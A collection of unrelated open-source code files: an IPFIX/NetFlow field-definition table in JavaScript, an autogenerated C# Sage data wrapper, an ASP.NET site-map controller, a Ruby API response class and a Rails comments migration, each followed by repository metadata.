"175":{"name":"postMCastOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"octets"}, "176":{"name":"icmpTypeIPv4","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"transportHeader"}, "177":{"name":"icmpCodeIPv4","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"transportHeader"}, "178":{"name":"icmpTypeIPv6","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"transportHeader"}, "179":{"name":"icmpCodeIPv6","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"transportHeader"}, "180":{"name":"udpSourcePort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "181":{"name":"udpDestinationPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "182":{"name":"tcpSourcePort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "183":{"name":"tcpDestinationPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "184":{"name":"tcpSequenceNumber","dataType":"unsigned32","group":"transportHeader"}, "185":{"name":"tcpAcknowledgementNumber","dataType":"unsigned32","group":"transportHeader"}, "186":{"name":"tcpWindowSize","dataType":"unsigned16","group":"transportHeader"}, "187":{"name":"tcpUrgentPointer","dataType":"unsigned16","group":"transportHeader"}, "188":{"name":"tcpHeaderLength","dataType":"unsigned8","group":"transportHeader","units":"octets"}, "189":{"name":"ipHeaderLength","dataType":"unsigned8","group":"ipHeader","units":"octets"}, "190":{"name":"totalLengthIPv4","dataType":"unsigned16","group":"ipHeader","units":"octets"}, "191":{"name":"payloadLengthIPv6","dataType":"unsigned16","group":"ipHeader","units":"octets"}, "192":{"name":"ipTTL","dataType":"unsigned8","group":"ipHeader","units":"hops"}, "193":{"name":"nextHeaderIPv6","dataType":"unsigned8","group":"ipHeader"}, "194":{"name":"mplsPayloadLength","dataType":"unsigned32","group":"subIpHeader","units":"octets"}, "195":{"name":"ipDiffServCodePoint","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "196":{"name":"ipPrecedence","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "197":{"name":"fragmentFlags","dataType":"unsigned8","dataTypeSemantics":"flags","group":"ipHeader"}, "198":{"name":"octetDeltaSumOfSquares","dataType":"unsigned64","group":"flowCounter"}, "199":{"name":"octetTotalSumOfSquares","dataType":"unsigned64","group":"flowCounter","units":"octets"}, "200":{"name":"mplsTopLabelTTL","dataType":"unsigned8","group":"subIpHeader","units":"hops"}, "201":{"name":"mplsLabelStackLength","dataType":"unsigned32","group":"subIpHeader","units":"octets"}, "202":{"name":"mplsLabelStackDepth","dataType":"unsigned32","group":"subIpHeader","units":"label stack entries"}, "203":{"name":"mplsTopLabelExp","dataType":"unsigned8","dataTypeSemantics":"flags","group":"subIpHeader"}, "204":{"name":"ipPayloadLength","dataType":"unsigned32","group":"derived","units":"octets"}, "205":{"name":"udpMessageLength","dataType":"unsigned16","group":"transportHeader","units":"octets"}, "206":{"name":"isMulticast","dataType":"unsigned8","dataTypeSemantics":"flags","group":"ipHeader"}, "207":{"name":"ipv4IHL","dataType":"unsigned8","group":"ipHeader","units":"4 octets"}, "208":{"name":"ipv4Options","dataType":"unsigned32","dataTypeSemantics":"flags","group":"minMax"}, "209":{"name":"tcpOptions","dataType":"unsigned64","dataTypeSemantics":"flags","group":"minMax"}, "210":{"name":"paddingOctets","dataType":"octetArray","group":"padding"}, "211":{"name":"collectorIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"config"}, "212":{"name":"collectorIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"config"}, "213":{"name":"exportInterface","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"config"}, "214":{"name":"exportProtocolVersion","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"config"}, "215":{"name":"exportTransportProtocol","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"config"}, "216":{"name":"collectorTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"config"}, "217":{"name":"exporterTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"config"}, "218":{"name":"tcpSynTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "219":{"name":"tcpFinTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "220":{"name":"tcpRstTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "221":{"name":"tcpPshTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "222":{"name":"tcpAckTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "223":{"name":"tcpUrgTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "224":{"name":"ipTotalLength","dataType":"unsigned64","group":"ipHeader","units":"octets"}, "225":{"name":"postNATSourceIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier"}, "226":{"name":"postNATDestinationIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier"}, "227":{"name":"postNAPTSourceTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "228":{"name":"postNAPTDestinationTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "229":{"name":"natOriginatingAddressRealm","dataType":"unsigned8","dataTypeSemantics":"flags"}, "230":{"name":"natEvent","dataType":"unsigned8"}, "231":{"name":"initiatorOctets","dataType":"unsigned64","units":"octets"}, "232":{"name":"responderOctets","dataType":"unsigned64","units":"octets"}, "233":{"name":"firewallEvent","dataType":"unsigned8"}, "234":{"name":"ingressVRFID","dataType":"unsigned32"}, "235":{"name":"egressVRFID","dataType":"unsigned32"}, "236":{"name":"VRFname","dataType":"string"}, "237":{"name":"postMplsTopLabelExp","dataType":"unsigned8","dataTypeSemantics":"flags","group":"subIpHeader"}, "238":{"name":"tcpWindowScale","dataType":"unsigned16","group":"transportHeader"}, "239":{"name":"biflowDirection","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"misc"}, "240":{"name":"ethernetHeaderLength","dataType":"unsigned8","dataTypeSemantics":"identifier","units":"octets"}, "241":{"name":"ethernetPayloadLength","dataType":"unsigned16","dataTypeSemantics":"identifier","units":"octets"}, "242":{"name":"ethernetTotalLength","dataType":"unsigned16","dataTypeSemantics":"identifier","units":"octets"}, "243":{"name":"dot1qVlanId","dataType":"unsigned16","dataTypeSemantics":"identifier","units":"octets"}, "244":{"name":"dot1qPriority","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "245":{"name":"dot1qCustomerVlanId","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "246":{"name":"dot1qCustomerPriority","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "247":{"name":"metroEvcId","dataType":"string"}, "248":{"name":"metroEvcType","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "249":{"name":"pseudoWireId","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "250":{"name":"pseudoWireType","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "251":{"name":"pseudoWireControlWord","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "252":{"name":"ingressPhysicalInterface","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "253":{"name":"egressPhysicalInterface","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "254":{"name":"postDot1qVlanId","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "255":{"name":"postDot1qCustomerVlanId","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "256":{"name":"ethernetType","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "257":{"name":"postIpPrecedence","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "258":{"name":"collectionTimeMilliseconds","dataType":"dateTimeMilliseconds"}, "259":{"name":"exportSctpStreamId","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "260":{"name":"maxExportSeconds","dataType":"dateTimeSeconds","units":"seconds"}, "261":{"name":"maxFlowEndSeconds","dataType":"dateTimeSeconds","units":"seconds"}, "262":{"name":"messageMD5Checksum","dataType":"octetArray"}, "263":{"name":"messageScope","dataType":"unsigned8"}, "264":{"name":"minExportSeconds","dataType":"dateTimeSeconds","units":"seconds"}, "265":{"name":"minFlowStartSeconds","dataType":"dateTimeSeconds","units":"seconds"}, "266":{"name":"opaqueOctets","dataType":"octetArray"}, "267":{"name":"sessionScope","dataType":"unsigned8"}, "268":{"name":"maxFlowEndMicroseconds","dataType":"dateTimeMicroseconds","units":"microseconds"}, "269":{"name":"maxFlowEndMilliseconds","dataType":"dateTimeMilliseconds","units":"milliseconds"}, "270":{"name":"maxFlowEndNanoseconds","dataType":"dateTimeNanoseconds","units":"nanoseconds"}, "271":{"name":"minFlowStartMicroseconds","dataType":"dateTimeMicroseconds","units":"microseconds"}, "272":{"name":"minFlowStartMilliseconds","dataType":"dateTimeMilliseconds","units":"milliseconds"}, "273":{"name":"minFlowStartNanoseconds","dataType":"dateTimeNanoseconds","units":"nanoseconds"}, "274":{"name":"collectorCertificate","dataType":"octetArray"}, "275":{"name":"exporterCertificate","dataType":"octetArray"}, "276":{"name":"dataRecordsReliability","dataType":"boolean","dataTypeSemantics":"identifier"}, "277":{"name":"observationPointType","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "278":{"name":"connectionCountNew","dataType":"unsigned32","dataTypeSemantics":"deltaCounter"}, "279":{"name":"connectionSumDuration","dataType":"unsigned64"}, "280":{"name":"connectionTransactionId","dataType":"unsigned64","dataTypeSemantics":"identifier"}, "281":{"name":"postNATSourceIPv6Address","dataType":"ipv6Address"}, "282":{"name":"postNATDestinationIPv6Address","dataType":"ipv6Address"}, "283":{"name":"natPoolId","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "284":{"name":"natPoolName","dataType":"string"}, "285":{"name":"anonymizationFlags","dataType":"unsigned16","dataTypeSemantics":"flags"}, "286":{"name":"anonymizationTechnique","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "287":{"name":"informationElementIndex","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "288":{"name":"p2pTechnology","dataType":"string"}, "289":{"name":"tunnelTechnology","dataType":"string"}, "290":{"name":"encryptedTechnology","dataType":"string"}, "291":{"name":"basicList","dataType":"basicList","dataTypeSemantics":"list"}, "292":{"name":"subTemplateList","dataType":"subTemplateList","dataTypeSemantics":"list"}, "293":{"name":"subTemplateMultiList","dataType":"subTemplateMultiList","dataTypeSemantics":"list"}, "294":{"name":"bgpValidityState","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "295":{"name":"IPSecSPI","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "296":{"name":"greKey","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "297":{"name":"natType","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "298":{"name":"initiatorPackets","dataType":"unsigned64","dataTypeSemantics":"identifier","units":"packets"}, "299":{"name":"responderPackets","dataType":"unsigned64","dataTypeSemantics":"identifier","units":"packets"}, "300":{"name":"observationDomainName","dataType":"string"}, "301":{"name":"selectionSequenceId","dataType":"unsigned64","dataTypeSemantics":"identifier"}, "302":{"name":"selectorId","dataType":"unsigned64","dataTypeSemantics":"identifier"}, "303":{"name":"informationElementId","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "304":{"name":"selectorAlgorithm","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "305":{"name":"samplingPacketInterval","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"packets"}, "306":{"name":"samplingPacketSpace","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"packets"}, "307":{"name":"samplingTimeInterval","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"microseconds"}, "308":{"name":"samplingTimeSpace","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"microseconds"}, "309":{"name":"samplingSize","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"packets"}, "310":{"name":"samplingPopulation","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"packets"}, "311":{"name":"samplingProbability","dataType":"float64","dataTypeSemantics":"quantity"}, "312":{"name":"dataLinkFrameSize","dataType":"unsigned16"}, "313":{"name":"ipHeaderPacketSection","dataType":"octetArray"}, "314":{"name":"ipPayloadPacketSection","dataType":"octetArray"}, "315":{"name":"dataLinkFrameSection","dataType":"octetArray"}, "316":{"name":"mplsLabelStackSection","dataType":"octetArray"}, "317":{"name":"mplsPayloadPacketSection","dataType":"octetArray"}, "318":{"name":"selectorIdTotalPktsObserved","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "319":{"name":"selectorIdTotalPktsSelected","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "320":{"name":"absoluteError","dataType":"float64","dataTypeSemantics":"quantity","units":"The units of the Information Element for which the error is specified."}, "321":{"name":"relativeError","dataType":"float64","dataTypeSemantics":"quantity"}, "322":{"name":"observationTimeSeconds","dataType":"dateTimeSeconds","dataTypeSemantics":"quantity","units":"seconds"}, "323":{"name":"observationTimeMilliseconds","dataType":"dateTimeMilliseconds","dataTypeSemantics":"quantity","units":"milliseconds"}, "324":{"name":"observationTimeMicroseconds","dataType":"dateTimeMicroseconds","dataTypeSemantics":"quantity","units":"microseconds"}, "325":{"name":"observationTimeNanoseconds","dataType":"dateTimeNanoseconds","dataTypeSemantics":"quantity","units":"nanoseconds"}, "326":{"name":"digestHashValue","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "327":{"name":"hashIPPayloadOffset","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "328":{"name":"hashIPPayloadSize","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "329":{"name":"hashOutputRangeMin","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "330":{"name":"hashOutputRangeMax","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "331":{"name":"hashSelectedRangeMin","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "332":{"name":"hashSelectedRangeMax","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "333":{"name":"hashDigestOutput","dataType":"boolean","dataTypeSemantics":"quantity"}, "334":{"name":"hashInitialiserValue","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "335":{"name":"selectorName","dataType":"string"}, "336":{"name":"upperCILimit","dataType":"float64","dataTypeSemantics":"quantity"}, "337":{"name":"lowerCILimit","dataType":"float64","dataTypeSemantics":"quantity"}, "338":{"name":"confidenceLevel","dataType":"float64","dataTypeSemantics":"quantity"}, "339":{"name":"informationElementDataType","dataType":"unsigned8"}, "340":{"name":"informationElementDescription","dataType":"string"}, "341":{"name":"informationElementName","dataType":"string"}, "342":{"name":"informationElementRangeBegin","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "343":{"name":"informationElementRangeEnd","dataType":"unsigned64","dataTypeSemantics":"quantity"}, "344":{"name":"informationElementSemantics","dataType":"unsigned8"}, "345":{"name":"informationElementUnits","dataType":"unsigned16"}, "346":{"name":"privateEnterpriseNumber","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "347":{"name":"virtualStationInterfaceId","dataType":"octetArray","dataTypeSemantics":"identifier"}, "348":{"name":"virtualStationInterfaceName","dataType":"string"}, "349":{"name":"virtualStationUUID","dataType":"octetArray","dataTypeSemantics":"identifier"}, "350":{"name":"virtualStationName","dataType":"string"}, "351":{"name":"layer2SegmentId","dataType":"unsigned64","dataTypeSemantics":"identifier"}, "352":{"name":"layer2OctetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","units":"octets"}, "353":{"name":"layer2OctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"octets"}, "354":{"name":"ingressUnicastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "355":{"name":"ingressMulticastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "356":{"name":"ingressBroadcastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "357":{"name":"egressUnicastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "358":{"name":"egressBroadcastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","units":"packets"}, "359":{"name":"monitoringIntervalStartMilliSeconds","dataType":"dateTimeMilliseconds","units":"milliseconds"}, "360":{"name":"monitoringIntervalEndMilliSeconds","dataType":"dateTimeMilliseconds","units":"milliseconds"}, "361":{"name":"portRangeStart","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "362":{"name":"portRangeEnd","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "363":{"name":"portRangeStepSize","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "364":{"name":"portRangeNumPorts","dataType":"unsigned16","dataTypeSemantics":"identifier"}, "365":{"name":"staMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier"}, "366":{"name":"staIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier"}, "367":{"name":"wtpMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier"}, "368":{"name":"ingressInterfaceType","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "369":{"name":"egressInterfaceType","dataType":"unsigned32","dataTypeSemantics":"identifier"}, "370":{"name":"rtpSequenceNumber","dataType":"unsigned16"}, "371":{"name":"userName","dataType":"string"}, "372":{"name":"applicationCategoryName","dataType":"string"}, "373":{"name":"applicationSubCategoryName","dataType":"string"}, "374":{"name":"applicationGroupName","dataType":"string"}, "375":{"name":"originalFlowsPresent","dataType":"unsigned64","dataTypeSemantics":"deltaCounter"}, "376":{"name":"originalFlowsInitiated","dataType":"unsigned64","dataTypeSemantics":"deltaCounter"}, "377":{"name":"originalFlowsCompleted","dataType":"unsigned64","dataTypeSemantics":"deltaCounter"}, "378":{"name":"distinctCountOfSourceIPAddress","dataType":"unsigned64","dataTypeSemantics":"totalCounter"}, "379":{"name":"distinctCountOfDestinationIPAddress","dataType":"unsigned64","dataTypeSemantics":"totalCounter"}, "380":{"name":"distinctCountOfSourceIPv4Address","dataType":"unsigned32","dataTypeSemantics":"totalCounter"}, "381":{"name":"distinctCountOfDestinationIPv4Address","dataType":"unsigned32","dataTypeSemantics":"totalCounter"}, "382":{"name":"distinctCountOfSourceIPv6Address","dataType":"unsigned64","dataTypeSemantics":"totalCounter"}, "383":{"name":"distinctCountOfDestinationIPv6Address","dataType":"unsigned64","dataTypeSemantics":"totalCounter"}, "384":{"name":"valueDistributionMethod","dataType":"unsigned8"}, "385":{"name":"rfc3550JitterMilliseconds","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"milliseconds"}, "386":{"name":"rfc3550JitterMicroseconds","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"microseconds"}, "387":{"name":"rfc3550JitterNanoseconds","dataType":"unsigned32","dataTypeSemantics":"quantity","units":"nanoseconds"} } //ipfix-mpls-label-type entities['mpls'] = { "1":{"description":"TE-MIDPT: Any TE tunnel mid-point or tail label"}, "2":{"description":"Pseudowire: Any PWE3 or Cisco AToM based label"}, "3":{"description":"VPN: Any label associated with VPN"}, "4":{"description":"BGP: Any label associated with BGP or BGP routing"}, "5":{"description":"LDP: Any label associated with dynamically assigned labels using LDP"} } //classification-engine-ids entities['engineIds'] = { "1":{"description":"IANA-L3", "length":"1"}, "2":{"description":"PANA-L3", "length":"1"}, "3":{"description":"IANA-L4", "length":"2"}, "4":{"description":"PANA-L4", "length":"2"}, "6":{"description":"USER-Defined", "length":"3"}, "12":{"description":"PANA-L2", "length":"5"}, "13":{"description":"PANA-L7", "length":"3"}, "18":{"description":"ETHERTYPE", "length":"2"}, "19":{"description":"LLC", "length":"1"}, "20":{"description":"PANA-L7-PEN", "length":"3"}, } //ipfix-version-numbers entities['version'] = { "9":{"version":"Cisco Systems NetFlow Version 9"}, "10":{"version":"IPFIX as documented in RFC5101"} } //ipfix-set-ids entities['setIds'] = { "2":{"setId":"Template Set"}, "3":{"setId":"Option Template Set"} } //ipfix-information-element-data-types entities['dataTypes'] = { "octetArray":{}, "unsigned8":{}, "unsigned16":{}, "unsigned32":{}, "unsigned64":{}, "signed8":{}, "signed16":{}, "signed32":{}, "signed64":{}, "float32":{}, "float64":{}, "boolean":{}, "macAddress":{ "key":"%0-%1-%2-%3-%4-%5"}, "string":{}, "dateTimeSeconds":{}, "dateTimeMilliseconds":{}, "dateTimeMicroseconds":{}, "dateTimeNanoseconds":{}, "ipv4Address":{"key":"%0.%1.%2.%3"}, "ipv6Address":{"key":"%0:%1:%2:%3:%4:%5:%6:%7"}, "basicList":{}, "subTemplateList":{}, "subTemplateMultiList":{} } //ipfix-information-element-semantics entities['ieSemantics'] = { "0":{"description":"default"}, "1":{"description":"quantity"}, "2":{"description":"totalCounter"}, "3":{"description":"deltaCounter"}, "4":{"description":"identifier"}, "5":{"description":"flags"}, "6":{"description":"list"} } //ipfix-information-element-units entities['units'] = { "0":{"name":"none"}, "1":{"name":"bits"}, "2":{"name":"octets"}, "3":{"name":"packets"}, "4":{"name":"flows"}, "5":{"name":"seconds"}, "6":{"name":"milliseconds"}, "7":{"name":"microseconds"}, "8":{"name":"nanoseconds"}, "9":{"name":"4-octet words"}, "10":{"name":"messages"}, "11":{"name":"hops"}, "12":{"name":"entries"} } //ipfix-structured-data-types-semantics entities['sdSemantics'] = { "0x00":{"name":"noneOf"}, "0x01":{"name":"exactlyOneOf"}, "0x02":{"name":"oneOrMoreOf"}, "0x03":{"name":"allOf"}, "0x04":{"name":"ordered"}, "0xFF":{"name":"undefined"}, } exports.entities = entities;
shaofis/Netflow
lib/ipfix.js
JavaScript
mit
37,954
using System; namespace Versioning { public class NominalData : Sage_Container, IData { /* Autogenerated by sage_wrapper_generator.pl */ SageDataObject110.NominalData nd11; SageDataObject120.NominalData nd12; SageDataObject130.NominalData nd13; SageDataObject140.NominalData nd14; SageDataObject150.NominalData nd15; SageDataObject160.NominalData nd16; SageDataObject170.NominalData nd17; public NominalData(object inner, int version) : base(version) { switch (m_version) { case 11: { nd11 = (SageDataObject110.NominalData)inner; m_fields = new Fields(nd11.Fields,m_version); return; } case 12: { nd12 = (SageDataObject120.NominalData)inner; m_fields = new Fields(nd12.Fields,m_version); return; } case 13: { nd13 = (SageDataObject130.NominalData)inner; m_fields = new Fields(nd13.Fields,m_version); return; } case 14: { nd14 = (SageDataObject140.NominalData)inner; m_fields = new Fields(nd14.Fields,m_version); return; } case 15: { nd15 = (SageDataObject150.NominalData)inner; m_fields = new Fields(nd15.Fields,m_version); return; } case 16: { nd16 = (SageDataObject160.NominalData)inner; m_fields = new Fields(nd16.Fields,m_version); return; } case 17: { nd17 = (SageDataObject170.NominalData)inner; m_fields = new Fields(nd17.Fields,m_version); return; } default: throw new InvalidOperationException("ver"); } } /* Autogenerated with data_generator.pl */ const string ACCOUNT_REF = "ACCOUNT_REF"; const string NOMINALDATA = "NominalData"; public bool Open(OpenMode mode) { bool ret; switch (m_version) { case 11: { ret = nd11.Open((SageDataObject110.OpenMode)mode); break; } case 12: { ret = nd12.Open((SageDataObject120.OpenMode)mode); break; } case 13: { ret = nd13.Open((SageDataObject130.OpenMode)mode); break; } case 14: { ret = nd14.Open((SageDataObject140.OpenMode)mode); break; } case 15: { ret = nd15.Open((SageDataObject150.OpenMode)mode); break; } case 16: { ret = nd16.Open((SageDataObject160.OpenMode)mode); break; } case 17: { ret = nd17.Open((SageDataObject170.OpenMode)mode); break; } default: throw new InvalidOperationException("ver"); } return ret; } public void Close() { switch (m_version) { case 11: { nd11.Close(); break; } case 12: { nd12.Close(); break; } case 13: { nd13.Close(); break; } case 14: { nd14.Close(); break; } case 15: { nd15.Close(); break; } case 16: { nd16.Close(); break; } case 17: { nd17.Close(); break; } default: throw new InvalidOperationException("ver"); } } public bool Read(int IRecNo) { bool ret; switch (m_version) { case 11: { ret = nd11.Read(IRecNo); break; } case 12: { ret = nd12.Read(IRecNo); break; } case 13: { ret = nd13.Read(IRecNo); break; } case 14: { ret = nd14.Read(IRecNo); break; } case 15: { ret = nd15.Read(IRecNo); break; } case 16: { ret = nd16.Read(IRecNo); break; } case 17: { ret = nd17.Read(IRecNo); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool Write(int IRecNo) { bool ret; switch (m_version) { case 11: { ret = nd11.Write(IRecNo); break; } case 12: { ret = nd12.Write(IRecNo); break; } case 13: { ret = nd13.Write(IRecNo); break; } case 14: { ret = nd14.Write(IRecNo); break; } case 15: { ret = nd15.Write(IRecNo); break; } case 16: { ret = nd16.Write(IRecNo); break; } case 17: { ret = nd17.Write(IRecNo); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool Seek(int IRecNo) { bool ret; switch (m_version) { case 11: { ret = nd11.Seek(IRecNo); break; } case 12: { ret = nd12.Seek(IRecNo); break; } case 13: { ret = nd13.Seek(IRecNo); break; } case 14: { ret = nd14.Seek(IRecNo); break; } case 15: { ret = nd15.Seek(IRecNo); break; } case 16: { ret = nd16.Seek(IRecNo); break; } case 17: { ret = nd17.Seek(IRecNo); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool Lock(int IRecNo) { bool ret; switch (m_version) { case 11: { ret = nd11.Lock(IRecNo); break; } case 12: { ret = nd12.Lock(IRecNo); break; } case 13: { ret = nd13.Lock(IRecNo); break; } case 14: { ret = nd14.Lock(IRecNo); break; } case 15: { ret = nd15.Lock(IRecNo); break; } case 16: { ret = nd16.Lock(IRecNo); break; } case 17: { ret = nd17.Lock(IRecNo); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool Unlock(int IRecNo) { bool ret; switch (m_version) { case 11: { ret = nd11.Unlock(IRecNo); break; } case 12: { ret = nd12.Unlock(IRecNo); break; } case 13: { ret = nd13.Unlock(IRecNo); break; } case 14: { ret = nd14.Unlock(IRecNo); break; } case 15: { ret = nd15.Unlock(IRecNo); break; } case 16: { ret = nd16.Unlock(IRecNo); break; } case 17: { ret = nd17.Unlock(IRecNo); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool FindFirst(object varField, object varSearch) { bool ret; switch (m_version) { case 11: { ret = nd11.FindFirst(varField, varSearch); break; } case 12: { ret = nd12.FindFirst(varField, varSearch); break; } case 13: { ret = nd13.FindFirst(varField, varSearch); break; } case 14: { ret = nd14.FindFirst(varField, varSearch); break; } case 15: { ret = nd15.FindFirst(varField, varSearch); break; } case 16: { ret = nd16.FindFirst(varField, varSearch); break; } case 17: { ret = nd17.FindFirst(varField, varSearch); break; } default: throw new InvalidOperationException("ver"); } return ret; } public bool FindNext(object varField, object varSearch) { bool ret; switch (m_version) { case 11: { ret = nd11.FindNext(varField, varSearch); break; } case 12: { ret = nd12.FindNext(varField, varSearch); break; } case 13: { ret = nd13.FindNext(varField, varSearch); break; } case 14: { ret = nd14.FindNext(varField, varSearch); break; } case 15: { ret = nd15.FindNext(varField, varSearch); break; } case 16: { ret = nd16.FindNext(varField, varSearch); break; } case 17: { ret = nd17.FindNext(varField, varSearch); break; } default: throw new InvalidOperationException("ver"); } return ret; } public int Count { get { int ret; switch (m_version) { case 11: { ret = nd11.Count(); break; } case 12: { ret = nd12.Count(); break; } case 13: { ret = nd13.Count(); break; } case 14: { ret = nd14.Count(); break; } case 15: { ret = nd15.Count(); break; } case 16: { ret = nd16.Count(); break; } case 17: { ret = nd17.Count(); break; } default: throw new InvalidOperationException("ver"); } return ret; } } } }
staafl/dotnet-bclext
to-integrate/libcs_staaflutil/Business/Versioning/Definitions/Data/NominalData.cs
C#
mit
13,238
using AutoMapper; using Bivi.Domaine; using Bivi.FrontOffice.Web.ViewModels; using Bivi.FrontOffice.Web.ViewModels.ModelBuilders; using Bivi.FrontOffice.Web.ViewModels.Pages.Common; using Bivi.Infrastructure.Attributes.Modularity; using Bivi.Infrastructure.Constant; using Bivi.Infrastructure.Services.Caching; using Bivi.Infrastructure.Services.Depots; using Bivi.Infrastructure.Services.Encryption; using Bivi.Infrastructure.Services.Search; using Castle.Core.Logging; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Web.Mvc; namespace Bivi.FrontOffice.Web.Controllers.Controllers { public partial class PlanDuSiteController : ModularController { protected ISearchEngine _searchEngine; public PlanDuSiteController( ILogger logger, ICryptography encryption, IDepotFactory depotFactory, ICaching cachingService, ICommonModelBuilder commonModelBuilder, ISearchEngine searchEngine) : base(logger, encryption, depotFactory, cachingService, commonModelBuilder) { _searchEngine = searchEngine; } [PageAttribute("PLAN_DU_SITE")] public ActionResult Index() { return ProcessPage(); } } }
apo-j/Projects_Working
Bivi/src/Bivi.FrontOffice/Bivi.FrontOffice.Web.Controllers/Controllers/PlanDuSiteController.cs
C#
mit
1,396
module Rentjuicer class Response attr_accessor :body def initialize(response, raise_error = false) rash_response(response) raise Error.new(self.body.code, self.body.message) if !success? && raise_error end def success? self.body && !self.body.blank? && self.body.respond_to?(:status) && self.body.status == "ok" end def method_missing(method_name, *args) if self.body.respond_to?(method_name) self.body.send(method_name) else super end end private def rash_response(response) if response.is_a?(Array) self.body = [] response.each do |b| if b.is_a?(Hash) self.body << Hashie::Rash.new(b) else self.body << b end end elsif response.is_a?(Hash) self.body = Hashie::Rash.new(response) else self.body = response end end end end
tcocca/rentjuicer
lib/rentjuicer/response.rb
Ruby
mit
944
class CreateComments < ActiveRecord::Migration def change create_table :comments do |t| t.references :post, index: true t.integer :author_id t.string :comment t.timestamps end end end
morcov/socnet
db/migrate/20130906133507_create_comments.rb
Ruby
mit
221
